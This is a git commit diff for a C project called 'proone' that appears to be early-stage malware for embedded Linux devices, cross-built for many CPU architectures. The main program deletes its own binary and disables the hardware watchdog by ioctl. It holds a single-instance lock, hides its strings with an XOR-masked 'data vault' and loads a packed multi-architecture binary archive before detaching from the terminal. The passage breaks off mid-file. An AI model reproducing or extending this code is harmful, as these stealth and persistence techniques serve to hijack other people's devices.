diff options
| -rw-r--r-- | proone.code-workspace | 4 | ||||
| -rwxr-xr-x | scripts/build-all.sh | 3 | ||||
| -rw-r--r-- | src/Makefile.am | 21 | ||||
| -rw-r--r-- | src/proone-mask.c | 108 | ||||
| -rw-r--r-- | src/proone-packer.c | 14 | ||||
| -rw-r--r-- | src/proone-unpacker.c | 10 | ||||
| -rw-r--r-- | src/proone.c | 157 | ||||
| -rw-r--r-- | src/proone.h | 17 | ||||
| -rw-r--r-- | src/proone_data.c | 9 | ||||
| -rw-r--r-- | src/proone_data.h | 13 | ||||
| -rw-r--r-- | src/proone_dvault.c | 142 | ||||
| -rw-r--r-- | src/proone_dvault.h | 35 | ||||
| -rw-r--r-- | src/proone_pack.c | 8 | ||||
| -rw-r--r-- | src/proone_pack.h | 8 | ||||
| -rw-r--r-- | src/proone_protocol.c | 5 | ||||
| -rw-r--r-- | src/proone_protocol.h | 1 | ||||
| -rw-r--r-- | src/proone_rnd.c | 94 | ||||
| -rw-r--r-- | src/proone_rnd.h | 26 | ||||
| -rw-r--r-- | src/proone_util.c | 24 | ||||
| -rw-r--r-- | src/proone_util.h | 8 |
20 files changed, 667 insertions, 40 deletions
diff --git a/proone.code-workspace b/proone.code-workspace index 5709732..77878e2 100644 --- a/proone.code-workspace +++ b/proone.code-workspace @@ -4,5 +4,7 @@ "path": "." } ], - "settings": {} + "settings": { + "editor.insertSpaces": false + } } diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 40f0b85..909db75 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -9,7 +9,6 @@ ARCH_ARR=( "ppc" "sh4" "spc" - "x86_64" ) TOOLCHAIN_ARR=( "armv4t" @@ -21,7 +20,6 @@ TOOLCHAIN_ARR=( "ppc" "sh4" "spc" - "x86_64" ) HOST_ARR=( "arm-buildroot-linux-uclibcgnueabi" @@ -33,7 +31,6 @@ HOST_ARR=( "powerpc-buildroot-linux-uclibc" "sh4-buildroot-linux-uclibc" "sparc-buildroot-linux-uclibc" - "x86_64-buildroot-linux-uclibc" ) ARR_SIZE="${#ARCH_ARR[@]}" if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; then diff --git a/src/Makefile.am b/src/Makefile.am index c5acf4e..0a7364d 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -8,29 +8,36 @@ TARGET_FLAGS += -Os DEV_FLAGS += -Os endif +AM_CFLAGS = -std=c11 -Wall -Wno-switch $(DEV_FLAGS) + noinst_LIBRARIES = libproone.a -bin_PROGRAMS = proone proone-packer proone-unpacker proone-list-arch +bin_PROGRAMS = proone proone-packer proone-unpacker proone-list-arch proone-mask libproone_a_SOURCES =\ proone_protocol.c\ - proone_pack.c + proone_pack.c\ + proone_data.c\ + proone_dvault.c\ + proone_util.c\ + proone_rnd.c -proone_CFLAGS = -std=c11 -Wall -Wno-switch $(DEV_FLAGS) proone_LDFLAGS = -static -proone_LDADD = libproone.a $(DEP_LIBS) +proone_LDADD = libproone.a $(DEP_LIBS) -lrt proone_SOURCES =\ proone.c -proone_packer_CFLAGS = -std=c11 -Wall -Wno-switch $(DEV_FLAGS) proone_packer_LDADD = libproone.a proone_packer_SOURCES = proone-packer.c -proone_unpacker_CFLAGS = -std=c11 -Wall -Wno-switch $(DEV_FLAGS) + proone_unpacker_LDADD = libproone.a proone_unpacker_LDFLAGS = $(DEP_LIBS) proone_unpacker_SOURCES = proone-unpacker.c -proone_list_arch_CFLAGS = -std=c11 -Wall -Wno-switch $(DEV_FLAGS) + proone_list_arch_LDADD = libproone.a proone_list_arch_SOURCES = proone-list-arch.c +proone_mask_LDADD = libproone.a +proone_mask_SOURCES = proone-mask.c + if TESTS endif diff --git a/src/proone-mask.c b/src/proone-mask.c new file mode 100644 index 0000000..cd2bad7 --- /dev/null +++ b/src/proone-mask.c @@ -0,0 +1,108 @@ +#include <stdio.h> +#include <stddef.h> +#include <stdint.h> +#include <stdbool.h> + +#include <unistd.h> +#include <fcntl.h> + +#include "proone_dvault.h" + + +static const char *RND_DEV_PATH = "/dev/random"; + +int main (const int argc, const char **args) { + int exit_code = 0; + int rnd_fd = -1; + ssize_t fd_read_size; + uint8_t salt; + size_t read_size = 0; + proone_dvault_mask_result_t mask_result; + proone_data_type_t type; + + proone_init_dvault_mask_result(&mask_result); + + if (argc <= 1) { + fprintf(stderr, + "Usage: %s <type>\n" + "<type>: 'cstr'\n" + "\n" + "using random device: %s\n", + args[0], RND_DEV_PATH); + exit_code = 2; + goto END; + } + + rnd_fd = open(RND_DEV_PATH, O_RDONLY); + if (rnd_fd < 0) { + perror("Error opening random device"); + exit_code = 1; + goto END; + } + + fd_read_size = read(rnd_fd, &salt, 1); + if (fd_read_size < 0) { + perror("Error reading random device"); + exit_code = 1; + goto END; + } + if (fd_read_size == 0) { + fprintf(stderr, "Nothing read from random device. Low entropy?\n"); + exit_code = 1; + goto END; + } + close(rnd_fd); + rnd_fd = -1; + + type = proone_str2data_type(args[1]); + switch (type) { + case PROONE_DATA_TYPE_CSTR: { + static const size_t buf_size = 0x0000FFFF + 1; + uint8_t buf[buf_size]; + + do { + fd_read_size = read(STDIN_FILENO, buf + read_size, buf_size - read_size); + if (fd_read_size < 0) { + perror("Error reading stdin"); + exit_code = 1; + goto END; + } + if (fd_read_size > 0) { + read_size += fd_read_size; + if (read_size >= buf_size) { + fprintf(stderr, "Error: data too large\n"); + exit_code = 1; + goto END; + } + } + } while (fd_read_size > 0); + + if (read_size == 0) { + fprintf(stderr, "Error: no data read\n"); + exit_code = 1; + goto END; + } + + mask_result = proone_dvault_mask(type, salt, read_size, buf); + if (mask_result.result == PROONE_DVAULT_MASK_OK) { + printf("(uint8_t*)\"%s\"\n", mask_result.str); + } + else { + fprintf(stderr, "Error: proone_dvault_mask() returned %d\n", (int)mask_result.result); + exit_code = 1; + goto END; + } + break; + } + default: + fprintf(stderr, "Error: unknown data type '%s'\n", args[1]); + exit_code = 2; + goto END; + } + +END: + close(rnd_fd); + proone_free_dvault_mask_result(&mask_result); + + return exit_code; +} diff --git a/src/proone-packer.c b/src/proone-packer.c index 3568bf8..28fd525 100644 --- a/src/proone-packer.c +++ b/src/proone-packer.c @@ -14,7 +14,7 @@ #include "proone_protocol.h" -int main (const int args, const char **argc) { +int main (const int argc, const char **args) { typedef struct { proone_arch_t arch; const char *path; @@ -31,8 +31,8 @@ int main (const int args, const char **argc) { struct stat st; uint8_t head[4]; - if (args <= 1) { - fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", argc[0]); + if (argc <= 1) { + fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", args[0]); return 1; } // refuse to run if stdout is terminal @@ -41,8 +41,8 @@ int main (const int args, const char **argc) { return 1; } // too many files - if (args - 1 > NB_PROONE_ARCH) { - fprintf(stderr, "** Too many files given (%d > %d).\n", args - 1, NB_PROONE_ARCH); + if (argc - 1 > NB_PROONE_ARCH) { + fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PROONE_ARCH); return 1; } @@ -51,8 +51,8 @@ int main (const int args, const char **argc) { memset(archive_arr, 0, sizeof(archive_tuple_t) * NB_PROONE_ARCH); // Check the file names are valid - for (i = 1; i < (size_t)args; i += 1) { - path = argc[i]; + for (i = 1; i < (size_t)argc; i += 1) { + path = args[i]; ext = strrchr(path, '.'); if (ext == NULL) { diff --git a/src/proone-unpacker.c b/src/proone-unpacker.c index 2a98166..860cbf6 100644 --- a/src/proone-unpacker.c +++ b/src/proone-unpacker.c @@ -64,12 +64,12 @@ static void report_index_bin_archive_err (const proone_index_bin_archive_result_ fprintf(stderr, "%s.\n", msg); } -int main (const int args, const char **argc) { +int main (const int argc, const char **args) { int exit_code = 0; const char *path_prefix; size_t path_prefix_len; proone_unpack_bin_archive_result_t unpack_ret; - bin_archive_t bin_archive; + proone_bin_archive_t bin_archive; proone_index_bin_archive_result_code_t index_ret; size_t i; const char *arch_str; @@ -78,12 +78,12 @@ int main (const int args, const char **argc) { void *ny_buf; int fd = -1; - if (args <= 1) { - fprintf(stderr, "Usage: %s <prefix>\n", argc[0]); + if (argc <= 1) { + fprintf(stderr, "Usage: %s <prefix>\n", args[0]); return 1; } - path_prefix = argc[1]; + path_prefix = args[1]; path_prefix_len = strlen(path_prefix); proone_init_bin_archive(&bin_archive); diff --git a/src/proone.c b/src/proone.c index b99ea62..3cfd809 100644 --- a/src/proone.c +++ b/src/proone.c @@ -1,7 +1,158 @@ +#define _GNU_SOURCE +#include "proone.h" +#include "proone_util.h" +#include "proone_dvault.h" + +#include <stdbool.h> +#include <stddef.h> +#include <stdint.h> #include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <time.h> + +#include <unistd.h> +#include <errno.h> +#include <fcntl.h> +#include <sys/stat.h> +#include <sys/ioctl.h> +#include <sys/mman.h> +#include <sys/file.h> + + +proone_global_t pne_global; + + +static bool ensure_single_instance (void) { + int fd; + + fd = shm_open( + proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM), + O_RDWR | O_CREAT | O_TRUNC, + 0666); + proone_dvault_reset_dict(); + if (fd < 0) { + return true; + } + + if (flock(fd, LOCK_EX | LOCK_NB) < 0) { + return errno != EWOULDBLOCK; + } + else { + pne_global.has_proc_lim_lock = true; + } + + return true; +} + +static void init_rnd_engine (void) { + uint32_t seed = 0; + int fd; + proone_rnd_engnie_alloc_result_t ret; + + fd = open("/dev/urandom", O_RDONLY); + if (fd >= 0) { + read(fd, &seed, sizeof(uint32_t)); + close(fd); + } + + if (seed == 0) { + // fall back to seeding with what's available. + seed = + (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ + (uint32_t)(getpid() % 0xFFFFFFFF) ^ + (uint32_t)(getppid() % 0xFFFFFFFF) ^ + (uint32_t)(clock() % 0xFFFFFFFF); + } + + ret = proone_alloc_rnd_engine(seed == 0 ? NULL : &seed); + if (ret.result != PROONE_RND_ENGINE_ALLOC_OK) { + abort(); + } + + pne_global.rnd = ret.engine; +} + +static void delete_myself (const char *arg0) { + static const char *proc_path = "/proc/self/exe"; + struct stat st; + const char *path_to_unlink = NULL; + char *path_buf = NULL; + + // get real path of myself + if (lstat(proc_path, &st) == 0 && (path_buf = (char*)malloc(st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size + 1) == st.st_size) { + path_buf[st.st_size] = 0; + path_to_unlink = path_buf; + } + else { + // try to delete arg0 instead + path_to_unlink = arg0; + } + + unlink(path_to_unlink); + free(path_buf); +} + +static void disasble_watchdog (void) { + static const char *watchdog_paths[] = { + "/dev/watchdog", + "/dev/misc/watchdog" + }; + static const int one = 1; + int fd; + size_t i; + + for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) { + if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) { + ioctl(fd, 0x80045704, &one); + close(fd); + break; + } + } +} + + +int main (const int argc, char **args) { + int exit_code = 0; + bool main_loop_flag = true; + + pne_global.has_proc_lim_lock = false; + pne_global.bin_ready = false; + proone_init_unpack_bin_archive_result(&pne_global.bin_pack); + proone_init_bin_archive(&pne_global.bin_archive); + + /* quick prep. IN THIS ORDER! */ + delete_myself(args[0]); + if (!ensure_single_instance()) { + exit_code = 1; + goto END; + } + disasble_watchdog(); + init_rnd_engine(); + + // get fed with the bin archive + puts(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_SIGN_INIT_OK)); + proone_dvault_reset_dict(); + pne_global.bin_pack = proone_unpack_bin_archive(STDIN_FILENO); + if (pne_global.bin_pack.result == PROONE_UNPACK_BIN_ARCHIVE_OK) { + pne_global.bin_ready = proone_index_bin_archive(&pne_global.bin_pack, &pne_global.bin_archive) == PROONE_INDEX_BIN_ARCHIVE_OK; + } + + // done with the terminal + close(STDIN_FILENO); + close(STDOUT_FILENO); + close(STDERR_FILENO); + errno = 0; + + do { + + } while (main_loop_flag); +END: + if (pne_global.has_proc_lim_lock) { + shm_unlink(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM)); + proone_dvault_reset_dict(); + } -int main (void) { - printf("it works!\n"); - return 0; + return exit_code; } diff --git a/src/proone.h b/src/proone.h new file mode 100644 index 0000000..e1dcd48 --- /dev/null +++ b/src/proone.h @@ -0,0 +1,17 @@ +#include "proone_pack.h" +#include "proone_rnd.h" + +#include <stdint.h> +#include <stdbool.h> + + +typedef struct { + bool has_proc_lim_lock; + bool bin_ready; + proone_rnd_engine_t *rnd; + proone_unpack_bin_archive_result_t bin_pack; + proone_bin_archive_t bin_archive; +} proone_global_t; + + +extern proone_global_t pne_global; diff --git a/src/proone_data.c b/src/proone_data.c new file mode 100644 index 0000000..32257b1 --- /dev/null +++ b/src/proone_data.c @@ -0,0 +1,9 @@ +#include "proone_data.h" + + +uint8_t *PROONE_DATA_DICT[] = { + // PROONE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" + (uint8_t*)"\x00\xE3\x00\x25\xC7\x7C\xE3\x28\xD1\x41\x61\x5D\x88\xF7\xA3\xC6\x9E\x69\xBA\x1D\x27\x5F\x4C\x33\xA4\x3C\x2F\x0B\x44\x6F\x4A\xEA\x90\xC0\x42\x55\x50\x4B\xD8\xAD\xEC", + // PROONE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" + (uint8_t*)"\x00\xDB\x00\x24\x89\x72\x7B\xCC\xF8\x25\x73\xFF\xC5\x7D\xE3\x78\xD3\x0A\x64\x0F\xDA\xE8\xEA\xC5\xCC\x6E\xF4\x04\x2C\x55\x47\x2D\xF4\x62\x2C\x0B\x08\x3C\x1A\xB5" +}; diff --git a/src/proone_data.h b/src/proone_data.h new file mode 100644 index 0000000..814a86c --- /dev/null +++ b/src/proone_data.h @@ -0,0 +1,13 @@ +#pragma once +#include <stdint.h> + + +typedef enum { + PROONE_DATA_KEY_NONE = -1, + PROONE_DATA_KEY_PROC_LIM_SHM, + PROONE_DATA_KEY_SIGN_INIT_OK, + NB_PROONE_DATA_KEY +} proone_data_key_t; + + +extern uint8_t *PROONE_DATA_DICT[]; diff --git a/src/proone_dvault.c b/src/proone_dvault.c new file mode 100644 index 0000000..e60000e --- /dev/null +++ b/src/proone_dvault.c @@ -0,0 +1,142 @@ +#include "proone_dvault.h" + +#include <stdint.h> +#include <stdbool.h> +#include <stdlib.h> +#include <stdio.h> +#include <string.h> + + +static const uint8_t PROONE_DATA_VAULT_MASK[256] = { + 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, + 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, + 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, + 0xF7, 0x90, 0x8B, 0x2D, 0x1F, 0xB1, 0x18, 0x4B, 0x3C, 0x32, + 0x58, 0xFC, 0x34, 0x94, 0xCA, 0x31, 0x43, 0xDB, 0x93, 0x55, + 0xB5, 0xEF, 0x02, 0x8E, 0x84, 0x22, 0x88, 0x86, 0xEE, 0xC6, + 0x44, 0xCB, 0xA3, 0xEC, 0x59, 0x8C, 0x8D, 0x7F, 0x6B, 0x0A, + 0x3D, 0xA7, 0x6E, 0x9F, 0x2A, 0x7B, 0x12, 0x7D, 0xBD, 0xF8, + 0x15, 0xAC, 0xF9, 0xD9, 0x3E, 0xF5, 0x38, 0xF4, 0x6D, 0xAB, + 0xE9, 0x4C, 0x0D, 0x3F, 0x71, 0xDF, 0xC0, 0xB9, 0xD5, 0xA6, + 0x53, 0xED, 0xE6, 0x82, 0x73, 0xC8, 0xA5, 0x08, 0x48, 0x1A, + 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0x74, 0xDC, 0x2C, + 0x23, 0xCD, 0xBC, 0x1C, 0x45, 0x24, 0x5C, 0x26, 0x17, 0xB3, + 0xA0, 0xBB, 0x03, 0xC9, 0xA1, 0x56, 0x2F, 0x91, 0xCF, 0xFE, + 0xC2, 0xAE, 0x54, 0xE1, 0x00, 0x13, 0x9C, 0x5E, 0xAD, 0xB8, + 0xB6, 0x63, 0x9E, 0x7C, 0x87, 0x60, 0x51, 0xFD, 0xF0, 0x76, + 0x4E, 0x4A, 0x9B, 0x1D, 0xF1, 0x0F, 0x06, 0xD1, 0x68, 0x99, + 0x20, 0x81, 0x3A, 0xE3, 0x25, 0xAA, 0x36, 0x98, 0x62, 0x96, + 0xC4, 0x30, 0x37, 0x47, 0x2B, 0x3B, 0x80, 0x64, 0x21, 0x67, + 0xB0, 0xB4, 0x01, 0x89, 0xC1, 0x0C, 0x41, 0xC3, 0x57, 0xB2, + 0x9A, 0x35, 0xBA, 0xD7, 0x66, 0xE0, 0x19, 0xF2, 0x04, 0xFB, + 0x70, 0xD6, 0xFF, 0x40, 0x83, 0xDE, 0xD0, 0xB7, 0xA8, 0xEA, + 0x16, 0x49, 0xFA, 0xCC, 0x11, 0x46, 0xCE, 0xE8, 0x4F, 0xD2, + 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0xEB, 0xDA, 0xC7, 0xA4, 0xA9, + 0x5F, 0x97, 0x29, 0x14, 0x6C, 0x7E, 0x1E, 0xC5, 0x5A, 0x1B, + 0x33, 0x69, 0x09, 0x2E, 0xD3, 0xF6 +}; + +static proone_data_key_t pne_cur_unmasked = PROONE_DATA_KEY_NONE; + + +static void pne_dvault_invert (const size_t size, uint8_t *m, const uint8_t salt) { + size_t i; + + for (i = 0; i < size; i += 1) { + m[i] ^= PROONE_DATA_VAULT_MASK[(uint8_t)(i + salt)]; + } +} + +static void pne_dvault_invert_entry (const proone_data_key_t key) { + pne_dvault_invert((size_t)PROONE_DATA_DICT[key][2] << 8 | (size_t)PROONE_DATA_DICT[key][3], PROONE_DATA_DICT[key], PROONE_DATA_DICT[key][1]); +} + +static void pne_dvault_entry_check (const proone_data_key_t key, const proone_data_type_t type) { + if ((PROONE_DATA_KEY_NONE < key && key < NB_PROONE_DATA_KEY) || + (PROONE_DATA_TYPE_NONE < type && type <= NB_PROONE_DATA_TYPE) || + type != (proone_data_type_t)PROONE_DATA_DICT[key][0]) { + abort(); + } +} + + +const char *proone_data_type2str (const proone_data_type_t t) { + switch (t) { + case PROONE_DATA_TYPE_CSTR: return "cstr"; + } + return NULL; +} + +proone_data_type_t proone_str2data_type (const char *str) { + if (strcmp(str, proone_data_type2str(PROONE_DATA_TYPE_CSTR)) == 0) { + return PROONE_DATA_TYPE_CSTR; + } + return PROONE_DATA_TYPE_NONE; +} + +void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r) { + r->result = PROONE_DVAULT_MASK_OK; + r->str = NULL; + r->str_len = 0; +} + +void proone_free_dvault_mask_result (proone_dvault_mask_result_t *r) { + free(r->str); + r->str_len = 0; + r->str = NULL; + r->result = PROONE_DVAULT_MASK_OK; +} + +proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { + size_t i; + proone_dvault_mask_result_t ret; + + proone_init_dvault_mask_result(&ret); + + if (data_size > 0x0000FFFF) { + ret.result = PROONE_DVAULT_MASK_TOO_LARGE; + return ret; + } + if (!(PROONE_DATA_TYPE_NONE < type && type < NB_PROONE_DATA_TYPE)) { + ret.result = PROONE_DVAULT_MASK_INVALID_TYPE; + return ret; + } + + ret.str_len = 4 * 4 + 4 * data_size + 1; + ret.str = malloc(ret.str_len); + if (ret.str == NULL) { + ret.result = PROONE_DVAULT_MASK_MEM_ERR; + ret.str_len = 0; + return ret; + } + + sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", + (uint8_t)type, + salt, + (uint8_t)((0x0000FF00 & (uint32_t)data_size) >> 8), + (uint8_t)((0x000000FF & (uint32_t)data_size) >> 0)); + + for (i = 0; i < data_size; i += 1) { + sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PROONE_DATA_VAULT_MASK[(uint8_t)(i + salt)]); + } + + return ret; +} + +const char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key) { + proone_dvault_reset_dict(); + pne_dvault_entry_check(key, PROONE_DATA_TYPE_CSTR); + pne_dvault_invert_entry(key); + pne_cur_unmasked = key; + return (const char*)PROONE_DATA_DICT[key] + 4; +} + +void proone_dvault_reset_dict (void) { + if (pne_cur_unmasked == PROONE_DATA_KEY_NONE) { + return; + } + else { + pne_dvault_invert_entry(pne_cur_unmasked); + pne_cur_unmasked = PROONE_DATA_KEY_NONE; + } +} diff --git a/src/proone_dvault.h b/src/proone_dvault.h new file mode 100644 index 0000000..ac98478 --- /dev/null +++ b/src/proone_dvault.h @@ -0,0 +1,35 @@ +#pragma once +#include "proone_data.h" + +#include <stddef.h> + + +typedef enum { + PROONE_DATA_TYPE_NONE = -1, + PROONE_DATA_TYPE_CSTR, + NB_PROONE_DATA_TYPE +} proone_data_type_t; + +typedef enum { + PROONE_DVAULT_MASK_OK, + PROONE_DVAULT_MASK_MEM_ERR, + PROONE_DVAULT_MASK_TOO_LARGE, + PROONE_DVAULT_MASK_INVALID_TYPE +} proone_dvault_mask_result_code_t; + +typedef struct { + size_t str_len; + char *str; + proone_dvault_mask_result_code_t result; +} proone_dvault_mask_result_t; + + +const char *proone_data_type2str (const proone_data_type_t t); +proone_data_type_t proone_str2data_type (const char *str); + +void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r); +void proone_free_dvault_mask_result (proone_dvault_mask_result_t *r); +proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data); + +const char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key); +void proone_dvault_reset_dict (void); diff --git a/src/proone_pack.c b/src/proone_pack.c index c257195..3d106a3 100644 --- a/src/proone_pack.c +++ b/src/proone_pack.c @@ -16,7 +16,7 @@ #include <zlib.h> -void proone_init_bin_archive (bin_archive_t *a) { +void proone_init_bin_archive (proone_bin_archive_t *a) { a->data_size = 0; a->data = NULL; a->nb_binaries = 0; @@ -177,13 +177,13 @@ END: return ret; } -proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, bin_archive_t *out) { +proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, proone_bin_archive_t *out) { proone_index_bin_archive_result_code_t ret = PROONE_INDEX_BIN_ARCHIVE_OK; size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PROONE_ARCH], size_arr[NB_PROONE_ARCH], i; proone_arch_t arch; uint32_t bin_size; proone_arch_t arch_arr[NB_PROONE_ARCH]; - bin_archive_t archive; + proone_bin_archive_t archive; uint8_t *out_buf; void *ny_buf; @@ -266,7 +266,7 @@ void proone_free_unpack_bin_archive_result (proone_unpack_bin_archive_result_t * r->err = 0; } -void proone_free_bin_archive (bin_archive_t *a) { +void proone_free_bin_archive (proone_bin_archive_t *a) { free(a->data); free(a->arch_arr); a->nb_binaries = 0; diff --git a/src/proone_pack.h b/src/proone_pack.h index 59b38cc..35cd7ca 100644 --- a/src/proone_pack.h +++ b/src/proone_pack.h @@ -11,7 +11,7 @@ typedef struct { proone_arch_t *arch_arr; size_t *offset_arr; size_t *size_arr; -} bin_archive_t; +} proone_bin_archive_t; typedef enum { PROONE_UNPACK_BIN_ARCHIVE_OK, @@ -36,9 +36,9 @@ typedef enum { PROONE_INDEX_BIN_ARCHIVE_MEM_ERR } proone_index_bin_archive_result_code_t; -void proone_init_bin_archive (bin_archive_t *a); +void proone_init_bin_archive (proone_bin_archive_t *a); void proone_init_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r); proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd); -proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, bin_archive_t *out); +proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, proone_bin_archive_t *out); void proone_free_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r); -void proone_free_bin_archive (bin_archive_t *a); +void proone_free_bin_archive (proone_bin_archive_t *a); diff --git a/src/proone_protocol.c b/src/proone_protocol.c index b56769c..3721440 100644 --- a/src/proone_protocol.c +++ b/src/proone_protocol.c @@ -25,8 +25,6 @@ const char *proone_arch2str (const proone_arch_t x) { return "sh4"; case PROONE_ARCH_SPC: return "spc"; - case PROONE_ARCH_X86_64: - return "x86_64"; } return NULL; @@ -66,9 +64,6 @@ proone_arch_t proone_str2arch (const char *str) { else if (strcmp(str, "spc") == 0) { return PROONE_ARCH_SPC; } - else if (strcmp(str, "x86_64") == 0) { - return PROONE_ARCH_X86_64; - } return PROONE_ARCH_NONE; } diff --git a/src/proone_protocol.h b/src/proone_protocol.h index 0d44acb..8196e91 100644 --- a/src/proone_protocol.h +++ b/src/proone_protocol.h @@ -15,7 +15,6 @@ enum proone_arch { PROONE_ARCH_RV64, PROONE_ARCH_SH4, PROONE_ARCH_SPC, - PROONE_ARCH_X86_64, NB_PROONE_ARCH }; diff --git a/src/proone_rnd.c b/src/proone_rnd.c new file mode 100644 index 0000000..e4440e0 --- /dev/null +++ b/src/proone_rnd.c @@ -0,0 +1,94 @@ +#include "proone_rnd.h" + +#include <stdlib.h> + +#define N ((size_t)624) + + +struct proone_rnd_engine { + size_t mti; + uint32_t mt[N]; +}; + + +void proone_init_alloc_rnd_engine_result (proone_rnd_engnie_alloc_result_t *r) { + r->engine = NULL; + r->result = PROONE_RND_ENGINE_ALLOC_OK; +} + +proone_rnd_engnie_alloc_result_t proone_alloc_rnd_engine (const uint32_t *s) { + proone_rnd_engnie_alloc_result_t ret; + uint32_t seed; + + proone_init_alloc_rnd_engine_result(&ret); + + if (s == NULL) { + seed = 4357; + } + else { + if (*s == 0) { + ret.result = PROONE_RND_ENGINE_ALLOC_INVALID_SEED; + return ret; + } + seed = *s; + } + + ret.engine = (proone_rnd_engine_t*)malloc(sizeof(proone_rnd_engine_t)); + if (ret.engine == NULL) { + ret.result = PROONE_RND_ENGINE_ALLOC_MEM_ERR; + return ret; + } + + ret.engine->mt[0] = seed; + for (ret.engine->mti = 1; ret.engine->mti < N; ret.engine->mti += 1) { + ret.engine->mt[ret.engine->mti] = 69069 * ret.engine->mt[ret.engine->mti - 1]; + } + + return ret; +} + +void proone_free_rnd_engine (proone_rnd_engine_t *engine) { + free(engine); +} + +uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine) { + static const size_t M = 397; + static const uint32_t + MATRIX_A = 0x9908b0df, + UPPER_MASK = 0x80000000, + LOWER_MASK = 0x7fffffff, + TEMPERING_MASK_B = 0x9d2c5680, + TEMPERING_MASK_C = 0xefc60000; + uint32_t y; + static const uint32_t mag01[2] = {0, MATRIX_A}; + + if (engine->mti >= N) { + size_t kk; + + for (kk = 0; kk < N - M; kk += 1) { + y = (engine->mt[kk] & UPPER_MASK) | (engine->mt[kk + 1] & LOWER_MASK); + engine->mt[kk] = engine->mt[kk + M] ^ (y >> 1) ^ mag01[y & 1]; + } + for (; kk < N - 1; kk += 1) { + y = (engine->mt[kk] & UPPER_MASK) | (engine->mt[kk + 1] & LOWER_MASK); + engine->mt[kk] = engine->mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 1]; + } + y = (engine->mt[N - 1] & UPPER_MASK) | (engine->mt[0] & LOWER_MASK); + engine->mt[N - 1] = engine->mt[M - 1] ^ (y >> 1) ^ mag01[y & 1]; + + engine->mti = 0; + } + + y = engine->mt[engine->mti]; + engine->mti += 1; + y ^= y >> 11; + y ^= (y << 7) & TEMPERING_MASK_B; + y ^= (y << 15) & TEMPERING_MASK_C; + y ^= y >> 18; + + return y; +} + +double proone_rnd_gen_double (proone_rnd_engine_t *engine) { + return (double)proone_rnd_gen_int(engine) * 2.3283064370807974e-10; +} diff --git a/src/proone_rnd.h b/src/proone_rnd.h new file mode 100644 index 0000000..749a172 --- /dev/null +++ b/src/proone_rnd.h @@ -0,0 +1,26 @@ +#pragma once +#include <stddef.h> +#include <stdint.h> +#include <stdbool.h> + + +struct proone_rnd_engine; +typedef struct proone_rnd_engine proone_rnd_engine_t; + +typedef enum { + PROONE_RND_ENGINE_ALLOC_OK, + PROONE_RND_ENGINE_ALLOC_INVALID_SEED, + PROONE_RND_ENGINE_ALLOC_MEM_ERR +} proone_rnd_engine_alloc_result_code_t; + +typedef struct { + proone_rnd_engine_alloc_result_code_t result; + proone_rnd_engine_t *engine; +} proone_rnd_engnie_alloc_result_t; + + +void proone_init_alloc_rnd_engine_result (proone_rnd_engnie_alloc_result_t *r); +proone_rnd_engnie_alloc_result_t proone_alloc_rnd_engine (const uint32_t *seed); +void proone_free_rnd_engine (proone_rnd_engine_t *engine); +uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine); +double proone_rnd_gen_double (proone_rnd_engine_t *engine); diff --git a/src/proone_util.c b/src/proone_util.c new file mode 100644 index 0000000..118dc35 --- /dev/null +++ b/src/proone_util.c @@ -0,0 +1,24 @@ +#include "proone_util.h" + + +void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len) { + static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; + size_t i = 0; + uint32_t n; + + if (len >= 4) { + for (; i < len / 4 * 4; i += 4) { + n = proone_rnd_gen_int(rnd_engine); + str[i + 0] = SET[((uint8_t*)&n)[0] % sizeof(SET)]; + str[i + 1] = SET[((uint8_t*)&n)[1] % sizeof(SET)]; + str[i + 2] = 